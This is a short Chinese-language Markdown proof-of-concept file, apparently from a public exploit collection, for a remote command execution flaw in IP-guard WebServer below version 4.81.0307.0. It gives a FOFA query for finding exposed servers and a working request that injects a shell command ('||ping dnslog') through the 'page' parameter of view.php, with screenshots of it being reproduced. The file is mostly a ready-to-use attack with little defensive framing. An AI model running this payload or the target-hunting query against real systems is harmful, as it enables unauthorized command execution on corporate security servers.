POC00/IP-guard WebServer 远程命令执行漏洞.md

23 lines
550 B
Markdown
Raw Normal View History

## IP-guard WebServer 远程命令执行漏洞
IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。
## 影响版本
```
< IP-guard WebServer 4.81.0307.0
```
## fofa
```
"IP-guard" && icon_hash="2030860561"
```
## poc
```
/ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||ping%20dnslog
```
## 漏洞复现
![](./assets/20231109165256.png)
![](./assets/20231109165333.png)